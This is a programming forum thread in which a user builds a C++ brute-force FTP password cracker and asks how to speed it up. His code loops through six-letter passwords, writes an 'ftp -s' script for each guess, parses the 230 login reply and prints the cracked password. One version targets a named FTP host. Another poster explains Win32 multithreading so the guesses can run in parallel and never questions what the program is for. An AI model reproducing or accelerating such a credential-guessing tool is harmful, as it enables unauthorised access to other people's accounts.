system() in for loop

Collapse
X
 
  • Time
  • Show
Clear All
new posts
  • niskin
    New Member
    • Apr 2007
    • 109

    system() in for loop

    I am running a loop which logs me into my ftp account. However, I need it to run VERY fast repeatedly. My problem is that, whether the login is successful or unsuccessful, it is quite slow because it has to then wait to login again etc. This is the code just for my login:

    Code:
    cout<< a << b << c << d << e << f <<"\n";
    ofstream record ( "c:\\Dave\\C-programming\\Password Cracker\\record.txt" );
    record<< a << b << c << d << e << f;
    record.close();
    ifstream readrecord ( "c:\\Dave\\C-programming\\Password Cracker\\record.txt" );
    char password[6];
    readrecord>> password;
    ofstream ftpscript ( "c:\\Dave\\C-programming\\Password Cracker\\ftpscript.txt" );
    ftpscript<< username <<"\n" << password <<"\n" <<"bye";
    ftpscript.close();
    system("cd C:\\Dave\\C-programming\\Password Cracker\\ & ftp -s:ftpscript.txt ftp.<my-website>.org.uk");
    This code is in a for loop which needs to run at very high speeds. If I take out the system() command it runs at the speed I require, but if I leave it in (which I need to or the program will not be doing what I want it to) it does about one attempt to login every 2 seconds, that is very slow for a for loop.
  • weaknessforcats
    Recognized Expert Expert
    • Mar 2007
    • 9214

    #2
    Anytime you use the system command() you are at the mercy of the command. In this case, logging onto a server.

    Can you batch this stuff up, do one logon and ftp an ftp the entire batch?

    Comment

    • niskin
      New Member
      • Apr 2007
      • 109

      #3
      Well what I ideally want to do is instead of disconnecting from the server, keep logging on, however there seems to be no ftp command that runs a script except the ftp -s command, but I have to disconnect to use that again.

      What do you mean by "do one logon and ftp an ftp the entire batch"?

      Comment

      • weaknessforcats
        Recognized Expert Expert
        • Mar 2007
        • 9214

        #4
        Is there any way you can ftp all your data using one ftp?

        You say you have a loop.

        Can you not accumulate the data from the loop and then ftp it one shot?

        Comment

        • niskin
          New Member
          • Apr 2007
          • 109

          #5
          No sadly not. I am using more than one password and some of them may be wrong. It's up to the user to get it right, so I need a loop.

          Comment

          • weaknessforcats
            Recognized Expert Expert
            • Mar 2007
            • 9214

            #6
            Your next approach is to start a new thread on each system() call. That way the logons can proceed in parallel since there are no limits on the number of threads you can have running at once.

            The drawback is you will need to use multithreading which may be a learning curve.

            Comment

            • niskin
              New Member
              • Apr 2007
              • 109

              #7
              Have you got any websites you can point me to that will teach me how to do this?

              Comment

              • weaknessforcats
                Recognized Expert Expert
                • Mar 2007
                • 9214

                #8
                From the way your paths are coded, it looks like you use Windows.

                Your thread is a function.

                The function must be a ThreadProc:
                [code=c]
                DWORD WINAPI ThreadProc(LPVO ID);
                [/code]

                That is, your function can have any name but it must have this prototype.

                You call CreateThread(). One of the argument is your threadproc. You use the address of your function. Another argument is the LPVOID. What you put here shows up as the LPVOID argument when your function starts.

                CreateThread() will call your function on its own thread. The thread exists as log as your function is running.

                If you need to talk to your thread (like ask it to stop or do something new), you use an Event. There are functions for SetEvent and for the thread to detect and event, like WaitForSingleOb ject.

                Start here.

                Comment

                • niskin
                  New Member
                  • Apr 2007
                  • 109

                  #9
                  This is what I have tried so far, but it's not working. The function I want it to start in a new thread is called six.

                  Code:
                    if(strlen(letters)==6) {
                                             HANDLE WINAPI CreateThread(
                                             NULL,
                                             0,
                                             six,
                                             NULL,
                                             six(LPVOID),
                                             NULL
                                             );
                  What have I done wrong?

                  Comment

                  • niskin
                    New Member
                    • Apr 2007
                    • 109

                    #10
                    This is an update of my source code. I have put main() back to how it was originally and changed six() instead. Here is the source code for six():

                    Code:
                    int six() {
                        // define the interface
                        struct IRunnable {
                        virtual void run() = 0;
                        };
                    
                        // define the thread class
                        class Thread {
                        public:
                        Thread(IRunnable *ptr) {
                        _threadObj = ptr;
                      }
                      void start() {
                      // use the Win32 API here
                      DWORD threadID;
                      ::CreateThread(0, 0, threadProc, _threadObj, 0, &threadID);
                      }
                      
                      protected:
                      // Win32 compatible thread parameter and procedure 
                      IRunnable *_threadObj; 
                      static unsigned long __stdcall threadProc(void* ptr) {
                      ((IRunnable*)ptr)->run();
                      return 0;
                      }   
                    };
                    
                      // define class with a threadable method
                      class MyObject : IRunnable {
                      public:
                      // the thread procedure
                      virtual void run() {
                            char letters[100];
                        char username[20];
                        ifstream user ( "username.txt" );
                        user>> username;
                        user.close();
                        char alphabet[] = "abcdefghijklmnopqrstuvwxyz";
                        ifstream record ( "record.txt" );
                        record>> letters;
                        record.close();
                        for(char a = letters[0]; a <= alphabet[25]; a++)
                        {
                                 for(char b = letters[1]; b <= alphabet[25]; b++)
                                 {
                                          for(char c = letters[2]; c <= alphabet[25]; c++)
                                          {
                                               for(char d = letters[3]; d <= alphabet[25]; d++)
                                               {
                                                        for(char e = letters[4]; e <= alphabet[25]; e++)
                                                        {
                                                                 for(char f = letters[5]; f <= alphabet[25]; f++)
                                                                 {
                                                                          FILE *success;
                                                                          success=fopen("success.txt", "w+");
                                                                          fprintf(success, "");
                                                                          fclose(success);
                                                                          cout<< a << b << c << d << e << f <<"\n";
                                                                          ofstream record ( "record.txt" );
                                                                          record<< a << b << c << d << e << f;
                                                                          record.close();
                                                                          ifstream readrecord ( "record.txt" );
                                                                          char password[6];
                                                                          readrecord>> password;
                                                                          ofstream ftpscript ( "ftpscript.txt" );
                                                                          ftpscript<< username <<"\n" << password <<"\n" <<"bye";
                                                                          ftpscript.close();
                                                                          char   psBuffer[128];
                                                                          FILE   *pPipe;
                                                                          /* Run command so that it writes its output to a pipe. Open this
                                                                          * pipe with read text attribute so that we can read it 
                                                                          * like a text file. 
                                                                          */
                                                                          if( (pPipe = _popen( "cd C:\\Dave\\C-programming\\Password Cracker\\ & ftp -s:ftpscript.txt ftp.collateraldesign.co.uk", "rt" )) == NULL )
                                                                          exit( 1 );
                    
                                                                          /* Read pipe until end of file. */
                                                                          while( !feof( pPipe ) )
                                                                          {
                                                                          if( fgets( psBuffer, 128, pPipe ) != NULL )
                                                                          //printf( psBuffer );
                                                                          FILE *success;
                                                                          success=fopen("success.txt", "a+");
                                                                          fprintf(success, psBuffer);
                                                                          fclose(success);
                                                                          }
                                                                          
                                                                          char reada[20];
                                                                          char readb[20];
                                                                          char readc[20];
                                                                          char readd[20];
                                                                          char reade[20];
                                                                          char readf[20];
                                                                          char readg[20];
                                                                          char readh[20];
                                                                          char readi[20];
                                                                          char readj[20];
                                                                          char readk[20];
                                                                          char readl[20];
                                                                          char readm[20];
                                                                          int readn;
                                                                          
                                                                          ifstream read ( "success.txt" );
                                                                          read>> reada >> readb >> readc >> readd >> reade >> readf >> readg >> readh >> readi >> readj >> readk >> readl >> readm >> readn;
                                                                          read.close();
                                                                          //cout<< readn;
                                                                          if (readn == 230){
                                                                                    cout<< "\n\nPASSWORD CRACKED. PASSWORD IS: " << password;
                                                                                    cin.get();
                                                                          }
                                                                                                                         
                                                                          }
                                                                 }
                                                        }
                                               }    
                                          }
                                 }
                      }
                    }
                    
                     MyObject *obj = new MyObject();
                     Thread thread = new Thread(obj);
                     thread->start();
                    
                    }
                    These lines:

                    Code:
                     MyObject *obj = new MyObject();
                     Thread thread = new Thread(obj);
                     thread->start();
                    are not compiling. Any ideas why?

                    Comment

                    • weaknessforcats
                      Recognized Expert Expert
                      • Mar 2007
                      • 9214

                      #11
                      I didn't know you were going to use a class.

                      With a class it's a little different. Here is code that works:
                      [code=cpp]


                      //Demo of how to create a thread within a class


                      #include <iostream>
                      using namespace std;
                      #include <windows.h>


                      class MyClass
                      {
                      public:
                      MyClass();
                      static DWORD WINAPI StartThreadOne( LPVOID in);
                      void LaunchOne();
                      void ExecuteThreadOn e();
                      int GetDataOne() { return DataOne;}
                      void SetDataOne(int in) {DataOne = in;}

                      private:
                      HANDLE hThreadOne;
                      int DataOne;
                      };

                      MyClass::MyClas s() : hThreadOne(0), DataOne(0)
                      {

                      }

                      void MyClass::Launch One()
                      {
                      DWORD threadid; //to hold the returned thread id
                      HANDLE th = CreateThread(
                      NULL, //use default security
                      0, //use stack size of calling thread
                      StartThreadOne, //the thread
                      this, //the thread input argument
                      0, //run immediately
                      &threadid
                      );
                      if (!th)
                      {
                      cout << "CreateThre ad failed" << endl;
                      }

                      }

                      DWORD WINAPI MyClass::StartT hreadOne(LPVOID in)
                      {
                      reinterpret_cas t<MyClass*> (in) ->ExecuteThreadO ne();

                      return 0; //thread completed
                      }

                      void MyClass::Execut eThreadOne()
                      {
                      while (1)
                      {
                      DataOne++;
                      Sleep(500);
                      }
                      }




                      int main()
                      {
                      cout << "Starting main()" << endl;
                      MyClass obj;
                      obj.LaunchOne() ;

                      int buffer;
                      while (1)
                      {
                      buffer = obj.GetDataOne( );
                      cout << buffer << " ";
                      Sleep(500);
                      if (buffer > 20)
                      {
                      obj.SetDataOne( 0);
                      }
                      }

                      return 0;
                      }



                      /*
                      HANDLE CreateThread(
                      LPSECURITY_ATTR IBUTES lpThreadAttribu tes, // SD
                      DWORD dwStackSize, // initial stack size
                      LPTHREAD_START_ ROUTINE lpStartAddress, // thread function
                      LPVOID lpParameter, // thread argument
                      DWORD dwCreationFlags , // creation option
                      LPDWORD lpThreadId // thread identifier
                      );
                      */
                      [/code]

                      So, in main() you create a MyClass object and call the LaunchOne() method.

                      MyClass::Launch One() does the call to ::CreateThread using the threadproc which is MyClass::StartT hreadOne. Note that this is a static member function. The function used in the ::CreateThread( ) argument cannot require an object. Hence, the static.

                      Once MyClass::StartT hreadOne() starts, it casts the LPVOID (provided by ::CreateThread( ) where a MyClass this was used for the thread argument) to a MyClass pointer. Now you can run methods on your class. In this example it is MyClass::Execut eThreadOne() that is really doing the work.

                      Change your code to operate along these lines.

                      Comment

                      • niskin
                        New Member
                        • Apr 2007
                        • 109

                        #12
                        Ok this is a little complicated. The reason I was using a class is because I found a site which showed how to do it with a class, but if there is a simpler way to do it I would be grateful for a way to do it without a class.

                        And congratulations on breaking the 1000 posts mark.

                        Comment

                        • niskin
                          New Member
                          • Apr 2007
                          • 109

                          #13
                          This is most of my source code (without functions int seven() and int eight() included) without creating a thread if it helps:

                          Code:
                          #include <fstream>
                          #include <iostream>
                          #include <stdio.h>
                          #include <windows.h>
                          
                          using namespace std;
                          
                          int six();
                          //int seven();
                          //int eight();
                          
                          int main() {
                              
                              char letters[100];
                              char username[20];
                              cout<<"Enter the username to use: ";
                              cin.getline(username,20);
                              ofstream user ( "username.txt" );
                              user<< username;
                              user.close();
                              cout<<"\nEnter the letters to use: ";
                              cin.getline(letters,100);
                              ofstream record ( "record.txt" );
                              record<< letters;
                              record.close();
                                                                                
                              if(strlen(letters)==6) {
                                                     six();
                                                     }
                          //    if(strlen(letters)==7) {
                          //                          seven();
                          //                          }
                          //    if(strlen(letters)==8) {
                          //                           eight();
                          //                           }
                          }
                          
                          int six() {
                              
                              char letters[100];
                              char username[20];
                              ifstream user ( "username.txt" );
                              user>> username;
                              user.close();
                              char alphabet[] = "abcdefghijklmnopqrstuvwxyz";
                              ifstream record ( "record.txt" );
                              record>> letters;
                              record.close();
                              for(char a = letters[0]; a <= alphabet[25]; a++)
                              {
                                       for(char b = letters[1]; b <= alphabet[25]; b++)
                                       {
                                                for(char c = letters[2]; c <= alphabet[25]; c++)
                                                {
                                                     for(char d = letters[3]; d <= alphabet[25]; d++)
                                                     {
                                                              for(char e = letters[4]; e <= alphabet[25]; e++)
                                                              {
                                                                       for(char f = letters[5]; f <= alphabet[25]; f++)
                                                                       {
                                                                                FILE *success;
                                                                                success=fopen("success.txt", "w+");
                                                                                fprintf(success, "");
                                                                                fclose(success);
                                                                                cout<< a << b << c << d << e << f <<"\n";
                                                                                ofstream record ( "record.txt" );
                                                                                record<< a << b << c << d << e << f;
                                                                                record.close();
                                                                                ifstream readrecord ( "record.txt" );
                                                                                char password[6];
                                                                                readrecord>> password;
                                                                                ofstream ftpscript ( "ftpscript.txt" );
                                                                                ftpscript<< username <<"\n" << password <<"\n" <<"bye";
                                                                                ftpscript.close();
                                                                                char   psBuffer[128];
                                                                                FILE   *pPipe;
                                                                                /* Run command so that it writes its output to a pipe. Open this
                                                                                * pipe with read text attribute so that we can read it 
                                                                                * like a text file. 
                                                                                */
                                                                                if( (pPipe = _popen("<command-to-connect-to-ftp>", "rt" )) == NULL )
                                                                                exit( 1 );
                          
                                                                                /* Read pipe until end of file. */
                                                                                while( !feof( pPipe ) )
                                                                                {
                                                                                if( fgets( psBuffer, 128, pPipe ) != NULL )
                                                                                //printf( psBuffer );
                                                                                FILE *success;
                                                                                success=fopen("success.txt", "a+");
                                                                                fprintf(success, psBuffer);
                                                                                fclose(success);
                                                                                }
                                                                                
                                                                                char reada[20];
                                                                                char readb[20];
                                                                                char readc[20];
                                                                                char readd[20];
                                                                                char reade[20];
                                                                                char readf[20];
                                                                                char readg[20];
                                                                                char readh[20];
                                                                                char readi[20];
                                                                                char readj[20];
                                                                                char readk[20];
                                                                                char readl[20];
                                                                                char readm[20];
                                                                                int readn;
                                                                                
                                                                                ifstream read ( "success.txt" );
                                                                                read>> reada >> readb >> readc >> readd >> reade >> readf >> readg >> readh >> readi >> readj >> readk >> readl >> readm >> readn;
                                                                                read.close();
                                                                                //cout<< readn;
                                                                                if (readn == 230){
                                                                                          cout<< "\n\nYou are now logged on";
                                                                                          cin.get();
                                                                                }
                                                                                                                               
                                                                                }
                                                                       }
                                                              }
                                                     }    
                                                }
                                       }
                          }
                          
                          //int seven() and int eight() are similar to six()

                          Comment

                          • weaknessforcats
                            Recognized Expert Expert
                            • Mar 2007
                            • 9214

                            #14
                            All you do is call CreateThread() in your main().

                            Write a ThreadProc function:
                            [code=c]
                            DWORD WINAPI ThreadProc(LPVO ID);
                            [/code]

                            Yours might be:
                            [code=c]
                            DWORD WINAPI Niskin(LPVOID arg)
                            {
                            //The LPVOID argument is the address of a struct Data (see below)
                            //Type cast arg to a Data* to access the members.
                            //do the ftp in here.
                            }
                            [/code]


                            You need a file name, a userid and a password. Use a struct for this.
                            [code=c]
                            struct Data
                            {
                            char* file name;
                            char* userid;
                            char* password;
                            };
                            [/code]

                            Create a Data variable and intialize the members.

                            Then call:
                            [code=c]
                            Data var;
                            /*intialize the var members */

                            DWORD threadid; //to hold the returned thread id
                            HANDLE th = CreateThread(
                            NULL, //use default security
                            0, //use stack size of calling thread
                            niskin, //the thread
                            &var, //the thread input argument
                            0, //run immediately
                            &threadid
                            );
                            [/code]
                            If the return is not NULL, you have a successful thread launch. The thread ID is in that DWORD. You use the thread ID to communicate with your thread if necessary.

                            I did not compile this example. This is to just give you the idea.

                            Comment

                            • niskin
                              New Member
                              • Apr 2007
                              • 109

                              #15
                              Originally posted by weaknessforcats
                              All you do is call CreateThread() in your main().

                              Write a ThreadProc function:
                              [code=c]
                              DWORD WINAPI ThreadProc(LPVO ID);
                              [/code]

                              Yours might be:
                              [code=c]
                              DWORD WINAPI Niskin(LPVOID arg)
                              {
                              //The LPVOID argument is the address of a struct Data (see below)
                              //Type cast arg to a Data* to access the members.
                              //do the ftp in here.
                              }
                              [/code]


                              You need a file name, a userid and a password. Use a struct for this.
                              [code=c]
                              struct Data
                              {
                              char* file name;
                              char* userid;
                              char* password;
                              };
                              [/code]
                              Do I need to use a struct because I am writing the data to a file and then using that file in the ftp command?

                              Also, I am using 6 for loops for the six() function, 7 for the seven() function etc. and I need to run a new thread each time the loop starts again. Where abouts should I put the code to start the thread? Should it be inside the loop?

                              I have tried this:

                              Code:
                              int six() {
                                  
                              
                                        
                                  char letters[100];
                                  char username[20];
                                  ifstream user ( "username.txt" );
                                  user>> username;
                                  user.close();
                                  char alphabet[] = "abcdefghijklmnopqrstuvwxyz";
                                  ifstream record ( "record.txt" );
                                  record>> letters;
                                  record.close();
                                  struct Data
                                  {
                                         char* userid;
                                         char* password;
                                  };
                                  Data var;
                                  for(char a = letters[0]; a <= alphabet[25]; a++)
                                  {
                                           for(char b = letters[1]; b <= alphabet[25]; b++)
                                           {
                                                    for(char c = letters[2]; c <= alphabet[25]; c++)
                                                    {
                                                         for(char d = letters[3]; d <= alphabet[25]; d++)
                                                         {
                                                                  for(char e = letters[4]; e <= alphabet[25]; e++)
                                                                  {
                                                                           for(char f = letters[5]; f <= alphabet[25]; f++)
                                                                           {
                                                                                    DWORD WINAPI niskin(LPVOID);
                                                                                    {
                                                                                          //The LPVOID argument is the address of a struct Data (see below)
                                                                                          //Type cast arg to a Data* to access the members.
                                                                                          //do the ftp in here.
                                                                                          FILE *success;
                                                                                          success=fopen("success.txt", "w+");
                                                                                          fprintf(success, "");
                                                                                          fclose(success);
                                                                                          cout<< a << b << c << d << e << f <<"\n";
                                                                                          ofstream record ( "record.txt" );
                                                                                          record<< a << b << c << d << e << f;
                                                                                          record.close();
                                                                                          ifstream readrecord ( "record.txt" );
                                                                                          char password[6];
                                                                                          readrecord>> password;
                                                                                          ofstream ftpscript ( "ftpscript.txt" );
                                                                                          ftpscript<< username <<"\n" << password <<"\n" <<"bye";
                                                                                          ftpscript.close();
                                                                                          char   psBuffer[128];
                                                                                          FILE   *pPipe;
                                                                                          /* Run command so that it writes its output to a pipe. Open this
                                                                                           * pipe with read text attribute so that we can read it 
                                                                                           * like a text file. 
                                                                                           */
                                                                                          if( (pPipe = _popen( "<command-to-log-on-to-ftp>", "rt" )) == NULL )
                              
                                                                                          /* Read pipe until end of file. */
                                                                                          while( !feof( pPipe ) )
                                                                                          {
                                                                                          if( fgets( psBuffer, 128, pPipe ) != NULL )
                                                                                          //printf( psBuffer );
                                                                                          FILE *success;
                                                                                          success=fopen("success.txt", "a+");
                                                                                          fprintf(success, psBuffer);
                                                                                          fclose(success);
                                                                                          }
                                                                                    
                                                                                    }
                                                                                    
                                                                                    DWORD threadid;     //to hold the returned thread id
                                                                                    HANDLE th = CreateThread(
                                                                                           NULL,      //use default security
                                                                                           0,      //use stack size of calling thread
                                                                                           niskin,     //the thread
                                                                                           &var,         //the thread input argument
                                                                                           0,      //run immediately
                                                                                           &threadid
                                                                                           );
                                  
                                                                                    
                                                                                    char reada[20];
                                                                                    char readb[20];
                                                                                    char readc[20];
                                                                                    char readd[20];
                                                                                    char reade[20];
                                                                                    char readf[20];
                                                                                    char readg[20];
                                                                                    char readh[20];
                                                                                    char readi[20];
                                                                                    char readj[20];
                                                                                    char readk[20];
                                                                                    char readl[20];
                                                                                    char readm[20];
                                                                                    int readn;
                                                                                    
                                                                                    ifstream readrecord ( "record.txt" );
                                                                                    char password[6];
                                                                                    readrecord>> password;
                                                                                    ifstream read ( "success.txt" );
                                                                                    read>> reada >> readb >> readc >> readd >> reade >> readf >> readg >> readh >> readi >> readj >> readk >> readl >> readm >> readn;
                                                                                    read.close();
                                                                                    if (readn == 230){
                                                                                              cout<< "\n\nYou are now logged on";
                                                                                              cin.get();
                                                                                    }
                                                                                                                                   
                                                                                    }
                                                                           }
                                                                  }
                                                         }    
                                                    }
                                           }
                              }
                              I get an error compiling it that says "[Linker error] undefined reference to '_Z6niskinPv@4' "

                              Comment

                              Working...